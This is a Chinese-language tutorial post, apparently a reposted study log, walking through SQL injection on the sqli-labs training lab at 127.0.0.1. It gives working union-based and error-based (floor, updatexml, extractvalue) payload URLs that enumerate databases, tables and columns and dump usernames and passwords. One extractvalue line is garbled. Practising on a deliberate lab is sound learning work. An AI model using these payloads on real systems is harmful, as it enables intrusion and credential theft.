sqli-labs(1)


 0x01字符注入

今天是第一天的學習sqli-labs

Lesson1:字符型注入

首先測試一下 ' 發現報錯  然后 ''發現 不報錯 這種大概率就是字符注入了

接下來我們進行列查詢  查詢語句

http://127.0.0.1/sql1/Less-1/?id=1%27%20order%20by%204%23

發現列數是3 這里后面之所以要用%23是因為這里我們的url在ger方式提交的時候要進行一次url轉碼 所以我們要讓轉碼后的字符為#來閉合語句

查看當前數據庫名稱

http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,database(),3%23

查看所有數據庫名稱

http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,(select%20group_concat(schema_name)%20from%20information_schema.schemata),null%23

接下來數據庫名稱得到以后我們要進行獲取表名  操作語句 這里你會遇見 直接table_schema=你想查的數據庫名 這樣行不通 得把它轉換為16進制在賦值給前面才能成功

對16進制的解釋、、、http://127.0.0.1/s/Less-1/?id=’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name=0x7573657273)%23
http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23

看到表名中有一個叫做users的表應該有點東西 接下來我們爆列名

http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)%23

可以看見里面有username password這些關鍵字 我們就可以爆字段了

http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(username,0x3a,password)%20from%20users)%23

成功爆出字段usernamepassword字段名   0x3a: 0x是十六進制標志,3a是十進制的58,是ascii中的 ':' ,用以分割pasword和username。

0x02手工報錯型注入

既然講到這里 我們就來講一下報錯類型有些什么?

以下學習來自https://blog.csdn.net/weixin_42277564/article/details/80635586這個大佬

1、通過floor報錯

 

and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)

 

注:輸出字符長度限制為64個字符

payload填sql語句

2、通過updatexml報錯

    and updatexml(1,payload,1)
    and updatexml(1,concat(0x7e,@@version,0x7e),1)注:輸出字符有長度限制,最長32位

3、通過ExtractValue報錯

 

    and extractvalue(1, payload)
    and extractv注:輸出字符有長度限制,最長32位alue(1, concat(0x7e,@@version,0x7e))

 

我們簡單的了解了報錯型手工注入之后我們來進行實戰

先要檢查報錯類型的payload

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=1%23   ///並未報錯
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=2%23  ///報錯了

證明確實存在手工報錯型注入,

爆表的payload 這里我們運用的是上面的報錯的方法的第二種

127.0.0.1/sql1/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23

可以看見成功爆出表名 接下來我們進行列名的爆破

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)))%23

 

 這里發現這些並未顯示完全 是因為這個報錯最多就報錯 32個字符 那我們可以用其他語句讓他顯示完全

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27and%20column_name%20not%20in%20(%27user_id%27,%27first_name%27,%27last_name%27,%27user%27,%27avatar%27,%27last_login%27,%27failed_login%27))))%23

接下里就是爆值的操作

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users)))%23

 同樣使用not in顯示其他值

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users%20where%20username%20not%20in%20(%27Dumb%27,%27Angelina%27))))%23

 

sqlmap這里我們就不講了 基本上都會一把梭哈 嘿嘿

切記 少就是多 快就是慢哦~~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM